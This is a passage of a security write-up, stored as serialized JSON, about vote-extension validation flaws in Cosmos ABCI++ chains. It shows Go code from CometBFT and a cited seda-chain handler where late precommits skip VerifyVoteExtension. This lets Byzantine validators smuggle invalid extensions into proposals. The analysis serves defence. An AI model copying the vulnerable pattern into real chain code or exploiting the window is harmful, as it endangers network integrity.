are",{"type":24,"tag":63,"props":82887,"children":82888},{},[82889,82918],{"type":24,"tag":67,"props":82890,"children":82891},{},[82892,82897,82898,82903,82905,82910,82911,82916],{"type":24,"tag":32,"props":82893,"children":82895},{"className":82894},[],[82896],{"type":29,"value":82857},{"type":29,"value":223},{"type":24,"tag":32,"props":82899,"children":82901},{"className":82900},[],[82902],{"type":29,"value":82871},{"type":29,"value":82904},") outputs being rejected due to ",{"type":24,"tag":32,"props":82906,"children":82908},{"className":82907},[],[82909],{"type":29,"value":82864},{"type":29,"value":223},{"type":24,"tag":32,"props":82912,"children":82914},{"className":82913},[],[82915],{"type":29,"value":82878},{"type":29,"value":82917},") over-validating, resulting in liveness failures.",{"type":24,"tag":67,"props":82919,"children":82920},{},[82921,82923,82928,82929,82934,82936,82941,82942,82947],{"type":29,"value":82922},"Malicious proposals and vote extensions not created through the ",{"type":24,"tag":32,"props":82924,"children":82926},{"className":82925},[],[82927],{"type":29,"value":82857},{"type":29,"value":223},{"type":24,"tag":32,"props":82930,"children":82932},{"className":82931},[],[82933],{"type":29,"value":82871},{"type":29,"value":82935},") are accepted due to ",{"type":24,"tag":32,"props":82937,"children":82939},{"className":82938},[],[82940],{"type":29,"value":82864},{"type":29,"value":223},{"type":24,"tag":32,"props":82943,"children":82945},{"className":82944},[],[82946],{"type":29,"value":82878},{"type":29,"value":82948},") under-validating.",{"type":24,"tag":25,"props":82950,"children":82951},{},[82952],{"type":29,"value":82953},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":24,"tag":25,"props":82955,"children":82956},{},[82957,82959,82965,82967,82972],{"type":29,"value":82958},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":24,"tag":32,"props":82960,"children":82962},{"className":82961},[],[82963],{"type":29,"value":82964},"VoteExtensions",{"type":29,"value":82966}," within ",{"type":24,"tag":32,"props":82968,"children":82970},{"className":82969},[],[82971],{"type":29,"value":82857},{"type":29,"value":82973},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":24,"tag":25,"props":82975,"children":82976},{},[82977,82979,82984,82986,82991],{"type":29,"value":82978},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":24,"tag":32,"props":82980,"children":82982},{"className":82981},[],[82983],{"type":29,"value":82871},{"type":29,"value":82985}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":24,"tag":32,"props":82987,"children":82989},{"className":82988},[],[82990],{"type":29,"value":82878},{"type":29,"value":82992},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":24,"tag":25,"props":82994,"children":82995},{},[82996,82998,83003],{"type":29,"value":82997},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":24,"tag":32,"props":82999,"children":83001},{"className":83000},[],[83002],{"type":29,"value":82878},{"type":29,"value":83004}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":24,"tag":25,"props":83006,"children":83007},{},[83008,83010,83015,83017,83023],{"type":29,"value":83009},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":24,"tag":32,"props":83011,"children":83013},{"className":83012},[],[83014],{"type":29,"value":82878},{"type":29,"value":83016},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":24,"tag":32,"props":83018,"children":83020},{"className":83019},[],[83021],{"type":29,"value":83022},"Proposal",{"type":29,"value":161},{"type":24,"tag":73,"props":83025,"children":83027},{"code":83026,"language":75879,"meta":7,"className":75880,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[83028],{"type":24,"tag":32,"props":83029,"children":83030},{"__ignoreMap":7},[83031,83143,83150,83157,83165,83173,83257,83264,83272,83326,83333,83354,83361,83433,83449,83456,83529,83585,83592,83654,83661,83668,83687,83694,83701,83708],{"type":24,"tag":83,"props":83032,"children":83033},{"class":85,"line":86},[83034,83038,83042,83047,83051,83056,83060,83065,83069,83074,83078,83082,83086,83091,83095,83100,83105,83109,83114,83118,83123,83127,83131,83135,83139],{"type":24,"tag":83,"props":83035,"children":83036},{"style":90},[83037],{"type":29,"value":76015},{"type":24,"tag":83,"props":83039,"children":83040},{"style":107},[83041],{"type":29,"value":223},{"type":24,"tag":83,"props":83043,"children":83044},{"style":137},[83045],{"type":29,"value":83046},"cs ",{"type":24,"tag":83,"props":83048,"children":83049},{"style":143},[83050],{"type":29,"value":4315},{"type":24,"tag":83,"props":83052,"children":83053},{"style":3163},[83054],{"type":29,"value":83055},"State",{"type":24,"tag":83,"props":83057,"children":83058},{"style":107},[83059],{"type":29,"value":633},{"type":24,"tag":83,"props":83061,"children":83062},{"style":101},[83063],{"type":29,"value":83064},"addVote",{"type":24,"tag":83,"props":83066,"children":83067},{"style":107},[83068],{"type":29,"value":558},{"type":24,"tag":83,"props":83070,"children":83071},{"style":137},[83072],{"type":29,"value":83073},"vote",{"type":24,"tag":83,"props":83075,"children":83076},{"style":143},[83077],{"type":29,"value":9563},{"type":24,"tag":83,"props":83079,"children":83080},{"style":3163},[83081],{"type":29,"value":5504},{"type":24,"tag":83,"props":83083,"children":83084},{"style":107},[83085],{"type":29,"value":161},{"type":24,"tag":83,"props":83087,"children":83088},{"style":3163},[83089],{"type":29,"value":83090},"Vote",{"type":24,"tag":83,"props":83092,"children":83093},{"style":107},[83094],{"type":29,"value":568},{"type":24,"tag":83,"props":83096,"children":83097},{"style":137},[83098],{"type":29,"value":83099},"peerID",{"type":24,"tag":83,"props":83101,"children":83102},{"style":3163},[83103],{"type":29,"value":83104}," p2p",{"type":24,"tag":83,"props":83106,"children":83107},{"style":107},[83108],{"type":29,"value":161},{"type":24,"tag":83,"props":83110,"children":83111},{"style":3163},[83112],{"type":29,"value":83113},"ID",{"type":24,"tag":83,"props":83115,"children":83116},{"style":107},[83117],{"type":29,"value":76097},{"type":24,"tag":83,"props":83119,"children":83120},{"style":137},[83121],{"type":29,"value":83122},"added",{"type":24,"tag":83,"props":83124,"children":83125},{"style":3163},[83126],{"type":29,"value":11797},{"type":24,"tag":83,"props":83128,"children":83129},{"style":107},[83130],{"type":29,"value":568},{"type":24,"tag":83,"props":83132,"children":83133},{"style":137},[83134],{"type":29,"value":48138},{"type":24,"tag":83,"props":83136,"children":83137},{"style":3163},[83138],{"type":29,"value":14619},{"type":24,"tag":83,"props":83140,"children":83141},{"style":107},[83142],{"type":29,"value":253},{"type":24,"tag":83,"props":83144,"children":83145},{"class":85,"line":113},[83146],{"type":24,"tag":83,"props":83147,"children":83148},{"style":143},[83149],{"type":29,"value":20080},{"type":24,"tag":83,"props":83151,"children":83152},{"class":85,"line":128},[83153],{"type":24,"tag":83,"props":83154,"children":83155},{"emptyLinePlaceholder":16},[83156],{"type":29,"value":3422},{"type":24,"tag":83,"props":83158,"children":83159},{"class":85,"line":183},[83160],{"type":24,"tag":83,"props":83161,"children":83162},{"style":2735},[83163],{"type":29,"value":83164},"    // A precommit for the previous height?\n",{"type":24,"tag":83,"props":83166,"children":83167},{"class":85,"line":203},[83168],{"type":24,"tag":83,"props":83169,"children":83170},{"style":2735},[83171],{"type":29,"value":83172},"    // These come in while we wait timeoutCommit\n",{"type":24,"tag":83,"props":83174,"children":83175},{"class":85,"line":212},[83176,83180,83185,83189,83194,83198,83202,83206,83211,83215,83219,83223,83227,83231,83236,83240,83244,83248,83253],{"type":24,"tag":83,"props":83177,"children":83178},{"style":117},[83179],{"type":29,"value":218},{"type":24,"tag":83,"props":83181,"children":83182},{"style":137},[83183],{"type":29,"value":83184}," vote",{"type":24,"tag":83,"props":83186,"children":83187},{"style":107},[83188],{"type":29,"value":161},{"type":24,"tag":83,"props":83190,"children":83191},{"style":137},[83192],{"type":29,"value":83193},"Height",{"type":24,"tag":83,"props":83195,"children":83196},{"style":143},[83197],{"type":29,"value":4126},{"type":24,"tag":83,"props":83199,"children":83200},{"style":245},[83201],{"type":29,"value":3756},{"type":24,"tag":83,"props":83203,"children":83204},{"style":143},[83205],{"type":29,"value":3028},{"type":24,"tag":83,"props":83207,"children":83208},{"style":137},[83209],{"type":29,"value":83210}," cs",{"type":24,"tag":83,"props":83212,"children":83213},{"style":107},[83214],{"type":29,"value":161},{"type":24,"tag":83,"props":83216,"children":83217},{"style":137},[83218],{"type":29,"value":83193},{"type":24,"tag":83,"props":83220,"children":83221},{"style":143},[83222],{"type":29,"value":1126},{"type":24,"tag":83,"props":83224,"children":83225},{"style":137},[83226],{"type":29,"value":83184},{"type":24,"tag":83,"props":83228,"children":83229},{"style":107},[83230],{"type":29,"value":161},{"type":24,"tag":83,"props":83232,"children":83233},{"style":137},[83234],{"type":29,"value":83235},"Type",{"type":24,"tag":83,"props":83237,"children":83238},{"style":143},[83239],{"type":29,"value":3028},{"type":24,"tag":83,"props":83241,"children":83242},{"style":137},[83243],{"type":29,"value":77890},{"type":24,"tag":83,"props":83245,"children":83246},{"style":107},[83247],{"type":29,"value":161},{"type":24,"tag":83,"props":83249,"children":83250},{"style":137},[83251],{"type":29,"value":83252},"PrecommitType",{"type":24,"tag":83,"props":83254,"children":83255},{"style":107},[83256],{"type":29,"value":125},{"type":24,"tag":83,"props":83258,"children":83259},{"class":85,"line":256},[83260],{"type":24,"tag":83,"props":83261,"children":83262},{"style":143},[83263],{"type":29,"value":81556},{"type":24,"tag":83,"props":83265,"children":83266},{"class":85,"line":270},[83267],{"type":24,"tag":83,"props":83268,"children":83269},{"style":2735},[83270],{"type":29,"value":83271},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":24,"tag":83,"props":83273,"children":83274},{"class":85,"line":302},[83275,83280,83284,83288,83292,83296,83300,83305,83309,83314,83318,83322],{"type":24,"tag":83,"props":83276,"children":83277},{"style":137},[83278],{"type":29,"value":83279},"        added",{"type":24,"tag":83,"props":83281,"children":83282},{"style":107},[83283],{"type":29,"value":568},{"type":24,"tag":83,"props":83285,"children":83286},{"style":137},[83287],{"type":29,"value":48138},{"type":24,"tag":83,"props":83289,"children":83290},{"style":143},[83291],{"type":29,"value":146},{"type":24,"tag":83,"props":83293,"children":83294},{"style":137},[83295],{"type":29,"value":83210},{"type":24,"tag":83,"props":83297,"children":83298},{"style":107},[83299],{"type":29,"value":161},{"type":24,"tag":83,"props":83301,"children":83302},{"style":137},[83303],{"type":29,"value":83304},"LastCommit",{"type":24,"tag":83,"props":83306,"children":83307},{"style":107},[83308],{"type":29,"value":161},{"type":24,"tag":83,"props":83310,"children":83311},{"style":101},[83312],{"type":29,"value":83313},"AddVote",{"type":24,"tag":83,"props":83315,"children":83316},{"style":107},[83317],{"type":29,"value":558},{"type":24,"tag":83,"props":83319,"children":83320},{"style":137},[83321],{"type":29,"value":83073},{"type":24,"tag":83,"props":83323,"children":83324},{"style":107},[83325],{"type":29,"value":2905},{"type":24,"tag":83,"props":83327,"children":83328},{"class":85,"line":324},[83329],{"type":24,"tag":83,"props":83330,"children":83331},{"style":143},[83332],{"type":29,"value":81556},{"type":24,"tag":83,"props":83334,"children":83335},{"class":85,"line":345},[83336,83340,83345,83349],{"type":24,"tag":83,"props":83337,"children":83338},{"style":117},[83339],{"type":29,"value":15482},{"type":24,"tag":83,"props":83341,"children":83342},{"style":137},[83343],{"type":29,"value":83344}," added",{"type":24,"tag":83,"props":83346,"children":83347},{"style":107},[83348],{"type":29,"value":568},{"type":24,"tag":83,"props":83350,"children":83351},{"style":137},[83352],{"type":29,"value":83353},"err\n",{"type":24,"tag":83,"props":83355,"children":83356},{"class":85,"line":358},[83357],{"type":24,"tag":83,"props":83358,"children":83359},{"style":107},[83360],{"type":29,"value":446},{"type":24,"tag":83,"props":83362,"children":83363},{"class":85,"line":367},[83364,83369,83373,83377,83381,83386,83390,83395,83399,83404,83408,83413,83417,83421,83425,83429],{"type":24,"tag":83,"props":83365,"children":83366},{"style":137},[83367],{"type":29,"value":83368},"    extEnabled",{"type":24,"tag":83,"props":83370,"children":83371},{"style":143},[83372],{"type":29,"value":76131},{"type":24,"tag":83,"props":83374,"children":83375},{"style":137},[83376],{"type":29,"value":83210},{"type":24,"tag":83,"props":83378,"children":83379},{"style":107},[83380],{"type":29,"value":161},{"type":24,"tag":83,"props":83382,"children":83383},{"style":137},[83384],{"type":29,"value":83385},"state",{"type":24,"tag":83,"props":83387,"children":83388},{"style":107},[83389],{"type":29,"value":161},{"type":24,"tag":83,"props":83391,"children":83392},{"style":137},[83393],{"type":29,"value":83394},"ConsensusParams",{"type":24,"tag":83,"props":83396,"children":83397},{"style":107},[83398],{"type":29,"value":161},{"type":24,"tag":83,"props":83400,"children":83401},{"style":137},[83402],{"type":29,"value":83403},"Feature",{"type":24,"tag":83,"props":83405,"children":83406},{"style":107},[83407],{"type":29,"value":161},{"type":24,"tag":83,"props":83409,"children":83410},{"style":101},[83411],{"type":29,"value":83412},"VoteExtensionsEnabled",{"type":24,"tag":83,"props":83414,"children":83415},{"style":107},[83416],{"type":29,"value":558},{"type":24,"tag":83,"props":83418,"children":83419},{"style":137},[83420],{"type":29,"value":83073},{"type":24,"tag":83,"props":83422,"children":83423},{"style":107},[83424],{"type":29,"value":161},{"type":24,"tag":83,"props":83426,"children":83427},{"style":137},[83428],{"type":29,"value":83193},{"type":24,"tag":83,"props":83430,"children":83431},{"style":107},[83432],{"type":29,"value":2905},{"type":24,"tag":83,"props":83434,"children":83435},{"class":85,"line":406},[83436,83440,83445],{"type":24,"tag":83,"props":83437,"children":83438},{"style":117},[83439],{"type":29,"value":218},{"type":24,"tag":83,"props":83441,"children":83442},{"style":137},[83443],{"type":29,"value":83444}," extEnabled",{"type":24,"tag":83,"props":83446,"children":83447},{"style":107},[83448],{"type":29,"value":125},{"type":24,"tag":83,"props":83450,"children":83451},{"class":85,"line":427},[83452],{"type":24,"tag":83,"props":83453,"children":83454},{"style":143},[83455],{"type":29,"value":81556},{"type":24,"tag":83,"props":83457,"children":83458},{"class":85,"line":440},[83459,83463,83467,83471,83475,83479,83483,83487,83491,83495,83499,83503,83507,83512,83516,83521,83525],{"type":24,"tag":83,"props":83460,"children":83461},{"style":117},[83462],{"type":29,"value":3018},{"type":24,"tag":83,"props":83464,"children":83465},{"style":137},[83466],{"type":29,"value":83184},{"type":24,"tag":83,"props":83468,"children":83469},{"style":107},[83470],{"type":29,"value":161},{"type":24,"tag":83,"props":83472,"children":83473},{"style":137},[83474],{"type":29,"value":83235},{"type":24,"tag":83,"props":83476,"children":83477},{"style":143},[83478],{"type":29,"value":3028},{"type":24,"tag":83,"props":83480,"children":83481},{"style":137},[83482],{"type":29,"value":77890},{"type":24,"tag":83,"props":83484,"children":83485},{"style":107},[83486],{"type":29,"value":161},{"type":24,"tag":83,"props":83488,"children":83489},{"style":137},[83490],{"type":29,"value":83252},{"type":24,"tag":83,"props":83492,"children":83493},{"style":143},[83494],{"type":29,"value":1126},{"type":24,"tag":83,"props":83496,"children":83497},{"style":143},[83498],{"type":29,"value":12609},{"type":24,"tag":83,"props":83500,"children":83501},{"style":137},[83502],{"type":29,"value":83073},{"type":24,"tag":83,"props":83504,"children":83505},{"style":107},[83506],{"type":29,"value":161},{"type":24,"tag":83,"props":83508,"children":83509},{"style":137},[83510],{"type":29,"value":83511},"BlockID",{"type":24,"tag":83,"props":83513,"children":83514},{"style":107},[83515],{"type":29,"value":161},{"type":24,"tag":83,"props":83517,"children":83518},{"style":101},[83519],{"type":29,"value":83520},"IsNil",{"type":24,"tag":83,"props":83522,"children":83523},{"style":107},[83524],{"type":29,"value":13788},{"type":24,"tag":83,"props":83526,"children":83527},{"style":143},[83528],{"type":29,"value":1405},{"type":24,"tag":83,"props":83530,"children":83531},{"class":85,"line":449},[83532,83537,83542,83546,83550,83554,83558,83562,83567,83571,83576,83580],{"type":24,"tag":83,"props":83533,"children":83534},{"style":143},[83535],{"type":29,"value":83536},"            !",{"type":24,"tag":83,"props":83538,"children":83539},{"style":137},[83540],{"type":29,"value":83541},"bytes",{"type":24,"tag":83,"props":83543,"children":83544},{"style":107},[83545],{"type":29,"value":161},{"type":24,"tag":83,"props":83547,"children":83548},{"style":101},[83549],{"type":29,"value":82012},{"type":24,"tag":83,"props":83551,"children":83552},{"style":107},[83553],{"type":29,"value":558},{"type":24,"tag":83,"props":83555,"children":83556},{"style":137},[83557],{"type":29,"value":83073},{"type":24,"tag":83,"props":83559,"children":83560},{"style":107},[83561],{"type":29,"value":161},{"type":24,"tag":83,"props":83563,"children":83564},{"style":137},[83565],{"type":29,"value":83566},"ValidatorAddress",{"type":24,"tag":83,"props":83568,"children":83569},{"style":107},[83570],{"type":29,"value":568},{"type":24,"tag":83,"props":83572,"children":83573},{"style":137},[83574],{"type":29,"value":83575},"myAddr",{"type":24,"tag":83,"props":83577,"children":83578},{"style":107},[83579],{"type":29,"value":23739},{"type":24,"tag":83,"props":83581,"children":83582},{"style":2735},[83583],{"type":29,"value":83584},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":24,"tag":83,"props":83586,"children":83587},{"class":85,"line":458},[83588],{"type":24,"tag":83,"props":83589,"children":83590},{"style":143},[83591],{"type":29,"value":82232},{"type":24,"tag":83,"props":83593,"children":83594},{"class":85,"line":1065},[83595,83599,83603,83607,83611,83616,83620,83624,83628,83633,83637,83642,83646,83650],{"type":24,"tag":83,"props":83596,"children":83597},{"style":137},[83598],{"type":29,"value":82050},{"type":24,"tag":83,"props":83600,"children":83601},{"style":143},[83602],{"type":29,"value":76131},{"type":24,"tag":83,"props":83604,"children":83605},{"style":137},[83606],{"type":29,"value":83210},{"type":24,"tag":83,"props":83608,"children":83609},{"style":107},[83610],{"type":29,"value":161},{"type":24,"tag":83,"props":83612,"children":83613},{"style":137},[83614],{"type":29,"value":83615},"blockExec",{"type":24,"tag":83,"props":83617,"children":83618},{"style":107},[83619],{"type":29,"value":161},{"type":24,"tag":83,"props":83621,"children":83622},{"style":101},[83623],{"type":29,"value":82878},{"type":24,"tag":83,"props":83625,"children":83626},{"style":107},[83627],{"type":29,"value":558},{"type":24,"tag":83,"props":83629,"children":83630},{"style":137},[83631],{"type":29,"value":83632},"context",{"type":24,"tag":83,"props":83634,"children":83635},{"style":107},[83636],{"type":29,"value":161},{"type":24,"tag":83,"props":83638,"children":83639},{"style":101},[83640],{"type":29,"value":83641},"TODO",{"type":24,"tag":83,"props":83643,"children":83644},{"style":107},[83645],{"type":29,"value":18112},{"type":24,"tag":83,"props":83647,"children":83648},{"style":137},[83649],{"type":29,"value":83073},{"type":24,"tag":83,"props":83651,"children":83652},{"style":107},[83653],{"type":29,"value":2905},{"type":24,"tag":83,"props":83655,"children":83656},{"class":85,"line":1668},[83657],{"type":24,"tag":83,"props":83658,"children":83659},{"style":143},[83660],{"type":29,"value":82232},{"type":24,"tag":83,"props":83662,"children":83663},{"class":85,"line":1713},[83664],{"type":24,"tag":83,"props":83665,"children":83666},{"style":107},[83667],{"type":29,"value":3092},{"type":24,"tag":83,"props":83669,"children":83670},{"class":85,"line":1730},[83671,83675,83679,83683],{"type":24,"tag":83,"props":83672,"children":83673},{"style":107},[83674],{"type":29,"value":373},{"type":24,"tag":83,"props":83676,"children":83677},{"style":117},[83678],{"type":29,"value":378},{"type":24,"tag":83,"props":83680,"children":83681},{"style":117},[83682],{"type":29,"value":383},{"type":24,"tag":83,"props":83684,"children":83685},{"style":107},[83686],{"type":29,"value":125},{"type":24,"tag":83,"props":83688,"children":83689},{"class":85,"line":1770},[83690],{"type":24,"tag":83,"props":83691,"children":83692},{"style":143},[83693],{"type":29,"value":81556},{"type":24,"tag":83,"props":83695,"children":83696},{"class":85,"line":1778},[83697],{"type":24,"tag":83,"props":83698,"children":83699},{"style":107},[83700],{"type":29,"value":446},{"type":24,"tag":83,"props":83702,"children":83703},{"class":85,"line":1803},[83704],{"type":24,"tag":83,"props":83705,"children":83706},{"style":143},[83707],{"type":29,"value":20080},{"type":24,"tag":83,"props":83709,"children":83710},{"class":85,"line":1811},[83711],{"type":24,"tag":83,"props":83712,"children":83713},{"style":107},[83714],{"type":29,"value":464},{"type":24,"tag":25,"props":83716,"children":83717},{},[83718],{"type":29,"value":83719},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":24,"tag":1818,"props":83721,"children":83723},{"id":83722},"real-world-examples-4",[83724],{"type":29,"value":76404},{"type":24,"tag":25,"props":83726,"children":83727},{},[83728,83730,83735,83737,83743,83745,83751],{"type":29,"value":83729},"An example of the bug we just described is shown here. ",{"type":24,"tag":32,"props":83731,"children":83733},{"className":83732},[],[83734],{"type":29,"value":82857},{"type":29,"value":83736}," only checks that each vote is properly signed by a validator in ",{"type":24,"tag":32,"props":83738,"children":83740},{"className":83739},[],[83741],{"type":29,"value":83742},"ValidateVoteExtension",{"type":29,"value":83744}," but does not verify it against the rules in ",{"type":24,"tag":32,"props":83746,"children":83748},{"className":83747},[],[83749],{"type":29,"value":83750},"VerifyVoteExtention.",{"type":29,"value":83752}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":24,"tag":25,"props":83754,"children":83755},{},[83756],{"type":24,"tag":2033,"props":83757,"children":83760},{"href":83758,"rel":83759},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[2037],[83761],{"type":29,"value":76454},{"type":24,"tag":73,"props":83763,"children":83765},{"code":83764,"language":75879,"meta":7,"className":75880,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[83766],{"type":24,"tag":32,"props":83767,"children":83768},{"__ignoreMap":7},[83769,83823,83914,83921,83942,84009,84017,84122,84145,84164,84171,84225,84248,84303,84322,84329,84336,84343,84397,84404,84430,84453,84505,84567,84574,84601,84621,84633,84640],{"type":24,"tag":83,"props":83770,"children":83771},{"class":85,"line":86},[83772,83776,83780,83785,83789,83794,83798,83803,83807,83811,83815,83819],{"type":24,"tag":83,"props":83773,"children":83774},{"style":90},[83775],{"type":29,"value":76015},{"type":24,"tag":83,"props":83777,"children":83778},{"style":107},[83779],{"type":29,"value":223},{"type":24,"tag":83,"props":83781,"children":83782},{"style":137},[83783],{"type":29,"value":83784},"h ",{"type":24,"tag":83,"props":83786,"children":83787},{"style":143},[83788],{"type":29,"value":4315},{"type":24,"tag":83,"props":83790,"children":83791},{"style":3163},[83792],{"type":29,"value":83793},"Handlers",{"type":24,"tag":83,"props":83795,"children":83796},{"style":107},[83797],{"type":29,"value":633},{"type":24,"tag":83,"props":83799,"children":83800},{"style":101},[83801],{"type":29,"value":83802},"PrepareProposalHandler",{"type":24,"tag":83,"props":83804,"children":83805},{"style":107},[83806],{"type":29,"value":13788},{"type":24,"tag":83,"props":83808,"children":83809},{"style":3163},[83810],{"type":29,"value":78444},{"type":24,"tag":83,"props":83812,"children":83813},{"style":107},[83814],{"type":29,"value":161},{"type":24,"tag":83,"props":83816,"children":83817},{"style":3163},[83818],{"type":29,"value":83802},{"type":24,"tag":83,"props":83820,"children":83821},{"style":107},[83822],{"type":29,"value":125},{"type":24,"tag":83,"props":83824,"children":83825},{"class":85,"line":113},[83826,83830,83834,83838,83842,83846,83850,83854,83858,83863,83867,83872,83876,83881,83885,83889,83893,83897,83902,83906,83910],{"type":24,"tag":83,"props":83827,"children":83828},{"style":117},[83829],{"type":29,"value":16725},{"type":24,"tag":83,"props":83831,"children":83832},{"style":90},[83833],{"type":29,"value":79723},{"type":24,"tag":83,"props":83835,"children":83836},{"style":107},[83837],{"type":29,"value":558},{"type":24,"tag":83,"props":83839,"children":83840},{"style":137},[83841],{"type":29,"value":20021},{"type":24,"tag":83,"props":83843,"children":83844},{"style":3163},[83845],{"type":29,"value":78355},{"type":24,"tag":83,"props":83847,"children":83848},{"style":107},[83849],{"type":29,"value":161},{"type":24,"tag":83,"props":83851,"children":83852},{"style":3163},[83853],{"type":29,"value":76064},{"type":24,"tag":83,"props":83855,"children":83856},{"style":107},[83857],{"type":29,"value":568},{"type":24,"tag":83,"props":83859,"children":83860},{"style":137},[83861],{"type":29,"value":83862},"req",{"type":24,"tag":83,"props":83864,"children":83865},{"style":143},[83866],{"type":29,"value":9563},{"type":24,"tag":83,"props":83868,"children":83869},{"style":3163},[83870],{"type":29,"value":83871},"abcitypes",{"type":24,"tag":83,"props":83873,"children":83874},{"style":107},[83875],{"type":29,"value":161},{"type":24,"tag":83,"props":83877,"children":83878},{"style":3163},[83879],{"type":29,"value":83880},"RequestPrepareProposal",{"type":24,"tag":83,"props":83882,"children":83883},{"style":107},[83884],{"type":29,"value":76097},{"type":24,"tag":83,"props":83886,"children":83887},{"style":143},[83888],{"type":29,"value":4315},{"type":24,"tag":83,"props":83890,"children":83891},{"style":3163},[83892],{"type":29,"value":83871},{"type":24,"tag":83,"props":83894,"children":83895},{"style":107},[83896],{"type":29,"value":161},{"type":24,"tag":83,"props":83898,"children":83899},{"style":3163},[83900],{"type":29,"value":83901},"ResponsePrepareProposal",{"type":24,"tag":83,"props":83903,"children":83904},{"style":107},[83905],{"type":29,"value":568},{"type":24,"tag":83,"props":83907,"children":83908},{"style":3163},[83909],{"type":29,"value":14606},{"type":24,"tag":83,"props":83911,"children":83912},{"style":107},[83913],{"type":29,"value":253},{"type":24,"tag":83,"props":83915,"children":83916},{"class":85,"line":128},[83917],{"type":24,"tag":83,"props":83918,"children":83919},{"style":143},[83920],{"type":29,"value":81556},{"type":24,"tag":83,"props":83922,"children":83923},{"class":85,"line":183},[83924,83928,83933,83937],{"type":24,"tag":83,"props":83925,"children":83926},{"style":90},[83927],{"type":29,"value":79832},{"type":24,"tag":83,"props":83929,"children":83930},{"style":137},[83931],{"type":29,"value":83932}," injection",{"type":24,"tag":83,"props":83934,"children":83935},{"style":107},[83936],{"type":29,"value":75942},{"type":24,"tag":83,"props":83938,"children":83939},{"style":3163},[83940],{"type":29,"value":83941},"byte\n",{"type":24,"tag":83,"props":83943,"children":83944},{"class":85,"line":203},[83945,83949,83954,83958,83962,83966,83970,83974,83978,83982,83987,83991,83996,84000,84005],{"type":24,"tag":83,"props":83946,"children":83947},{"style":117},[83948],{"type":29,"value":3018},{"type":24,"tag":83,"props":83950,"children":83951},{"style":137},[83952],{"type":29,"value":83953}," req",{"type":24,"tag":83,"props":83955,"children":83956},{"style":107},[83957],{"type":29,"value":161},{"type":24,"tag":83,"props":83959,"children":83960},{"style":137},[83961],{"type":29,"value":83193},{"type":24,"tag":83,"props":83963,"children":83964},{"style":143},[83965],{"type":29,"value":242},{"type":24,"tag":83,"props":83967,"children":83968},{"style":137},[83969],{"type":29,"value":25592},{"type":24,"tag":83,"props":83971,"children":83972},{"style":107},[83973],{"type":29,"value":161},{"type":24,"tag":83,"props":83975,"children":83976},{"style":101},[83977],{"type":29,"value":83394},{"type":24,"tag":83,"props":83979,"children":83980},{"style":107},[83981],{"type":29,"value":738},{"type":24,"tag":83,"props":83983,"children":83984},{"style":137},[83985],{"type":29,"value":83986},"Abci",{"type":24,"tag":83,"props":83988,"children":83989},{"style":107},[83990],{"type":29,"value":161},{"type":24,"tag":83,"props":83992,"children":83993},{"style":137},[83994],{"type":29,"value":83995},"VoteExtensionsEnableHeight",{"type":24,"tag":83,"props":83997,"children":83998},{"style":143},[83999],{"type":29,"value":1126},{"type":24,"tag":83,"props":84001,"children":84002},{"style":137},[84003],{"type":29,"value":84004}," collectSigs",{"type":24,"tag":83,"props":84006,"children":84007},{"style":107},[84008],{"type":29,"value":125},{"type":24,"tag":83,"props":84010,"children":84011},{"class":85,"line":212},[84012],{"type":24,"tag":83,"props":84013,"children":84014},{"style":2735},[84015],{"type":29,"value":84016},"            //Fails to verify vote extensions with VerifyVoteExtension 